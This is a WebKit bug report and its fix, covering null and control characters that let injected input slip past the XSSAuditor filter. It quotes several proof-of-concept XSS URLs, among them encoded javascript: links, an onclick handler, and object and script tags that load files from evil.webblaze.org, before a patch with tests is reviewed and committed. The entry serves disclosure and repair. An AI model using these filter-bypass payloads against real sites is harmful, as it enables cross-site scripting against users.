Bug 27151 – [XSSAuditor] JavaScript URLs with null/control characters bypass XSSAuditor

• Component: WebCore Misc.
• Status: RESOLVED FIXED

[Daniel Bates]

Null/control characters in HTTP GET/POST data can bypass XSSAuditor with respect to JavaScript URLs.

Examples:

JavaScript URL with Null Character:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca+href%3Djavascript%3Aal%00ert%28/XSS/%29%3EContinue%3C/a%3E

JavaScript URL with Control Character:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca+href%3Djavascript%3Aalert%28/XSS%05/%29%3EContinue%3C/a%3E

+++ This bug was initially created as a clone of Bug #27071 +++

Null/control characters in HTTP GET/POST data can bypass XSSAuditor with respect to injected plugin-based objects, inline event handlers, and external scripts.

Examples:

Plugin-Injection:
http://good.webblaze.org/dbates/xsstest.php?q=%3Cobject%20classid=%22clsid:d27cdb6e-ae6d-11cf-96b8-444553540000%22%20codebase=%22http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab%22%20id=%22flashMov%22%3E%3Cparam%20name=%22movie%22%20value=%22http://evil.webblaze.org/dbates/execGetURL%05.swf%22%20/%3E%3Cparam%20name=%22allowScriptAccess%22%20value=%22always%22%20/%3E%3Cembed%20src=%22http://evil.webblaze.org/dbates/execGetURL%05.swf%22%20name=%22flashMov%22%20allowScriptAccess=%22always%22%20type=%22application/x-shockwave-flash%22%20/%3E%3C/object%3E

Inline Event Handler:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca%20href=%22about:blank%22%20onclick=%22al%00ert(5)%22%3Ed%3C/a%3E

External Scripts:
http://good.webblaze.org/dbates/xsstest.php?q=<script src='http://evil.webblaze.org/dbates/xss.js'></script>

[Daniel Bates]

Created attachment 32565 [details]
Patch with tests

[Adam Barth]

Comment on attachment 32565 [details]
Patch with tests

This looks good, but can you make the same change to the V8 bindings in WebCore/bindings/v8?

[Daniel Bates]

Created attachment 32573 [details]
Updated patch with tests.

I made the changes in the V8 bindings, but how do I test it?

Also, moved line "const String* savedSourceURL = m_sourceURL;" to its original place in file WebCore/bindings/js/ScriptController.cpp.

[Adam Barth]

Comment on attachment 32573 [details]
Updated patch with tests.

This looks good.  To test the V8 bindings, you need a Chromium build.  I'll watch the chromium build bot to make sure it works fine.

[Daniel Bates]

Thanks.

(In reply to comment #4)
> (From update of attachment 32573 [details])
> This looks good.  To test the V8 bindings, you need a Chromium build.  I'll
> watch the chromium build bot to make sure it works fine.

[Adam Barth]

Sending        LayoutTests/ChangeLog
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-control-char-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-control-char.html
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-null-char-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-null-char.html
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link.html
Adding         LayoutTests/http/tests/security/xssAuditor/resources/echo-intertag-click-and-notify.pl
Sending        WebCore/ChangeLog
Sending        WebCore/bindings/js/ScriptController.cpp
Sending        WebCore/bindings/v8/ScriptController.cpp
Sending        WebCore/page/XSSAuditor.cpp
Sending        WebCore/page/XSSAuditor.h
Transmitting file data .............
Committed revision 45741.
http://trac.webkit.org/changeset/45741